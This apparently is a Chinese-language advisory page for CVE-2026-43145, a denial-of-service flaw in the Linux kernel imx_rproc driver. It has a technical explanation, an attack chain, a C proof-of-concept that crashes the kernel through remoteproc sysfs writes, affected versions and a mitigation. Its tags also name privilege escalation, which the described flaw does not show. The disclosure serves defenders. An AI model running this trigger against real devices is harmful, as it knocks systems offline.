IPBUF安全漏洞报告
English
CVE-2026-43145 CVSS 5.5 中危

CVE-2026-43145 Linux Kernel imx_rproc资源表检测失效漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43145
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoS拒绝服务imx_rprocRemoteproc权限提升本地漏洞

漏洞概述

Linux内核imx_rproc驱动中存在逻辑漏洞,当设备树定义了rsc-table条目但当前加载的固件未提供资源表时,imx_rproc_elf_find_loaded_rsc_table函数仍会错误地返回非空指针。这导致remoteproc核心误判资源表存在并有效,从而在启动无资源表固件时触发系统崩溃,造成拒绝服务。

技术细节

该漏洞源于drivers/remoteproc/imx_rproc.c中的imx_rproc_elf_find_loaded_rsc_table函数。该函数用于检测已加载的资源表。当设备树包含“rsc-table”条目时,priv->rsc_table会被初始化为指向内存中的特定位置。然而,若当前加载的固件实际不包含资源表,rproc->table_ptr应为NULL。漏洞代码未对rproc->table_ptr进行NULL检查,直接返回了priv->rsc_table,导致remoteproc核心误以为资源表已加载。后续对无效资源表指针的操作将导致内核崩溃。

攻击链分析

STEP 1
本地访问
攻击者需要具备本地低权限访问能力,能够操作内核模块或设备文件接口。
STEP 2
触发固件加载
攻击者通过remoteproc接口加载一个不包含资源表的特定固件镜像。
STEP 3
漏洞触发
imx_rproc驱动未检查rproc->table_ptr为NULL,误报资源表已加载。
STEP 4
系统崩溃
remoteproc核心访问无效指针,导致内核崩溃,系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept for CVE-2026-43145 * This PoC demonstrates the trigger condition. * Requires an affected i.MX device and a firmware image without a resource table. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #define FIRMWARE_PATH "/path/to/firmware_without_rsc.elf" #define RPROC_STATE_PATH "/sys/class/remoteproc/remoteproc0/state" #define RPROC_FW_PATH "/sys/class/remoteproc/remoteproc0/firmware" int main() { int fw_fd, state_fd; printf("[+] Attempting to trigger CVE-2026-43145..."); // 1. Stop the remote processor state_fd = open(RPROC_STATE_PATH, O_WRONLY); if (state_fd > 0) { write(state_fd, "stop", 4); close(state_fd); } // 2. Load a firmware that does NOT contain a resource table // but the Device Tree expects one. fw_fd = open(RPROC_FW_PATH, O_WRONLY); if (fw_fd < 0) { perror("[-] Failed to open firmware sysfs"); return 1; } write(fw_fd, FIRMWARE_PATH, sizeof(FIRMWARE_PATH)); close(fw_fd); // 3. Start the remote processor state_fd = open(RPROC_STATE_PATH, O_WRONLY); write(state_fd, "start", 5); close(state_fd); printf("[+] Crash expected if kernel is vulnerable."); return 0; }

影响范围

Linux Kernel < 5.10.218
Linux Kernel < 5.15.160
Linux Kernel < 6.1.93
Linux Kernel < 6.6.33
Linux Kernel < 6.9.4

防御指南

临时缓解措施
限制对remoteproc设备节点的访问权限,确保只有受信任的用户可以加载固件,避免加载来源不明的固件文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表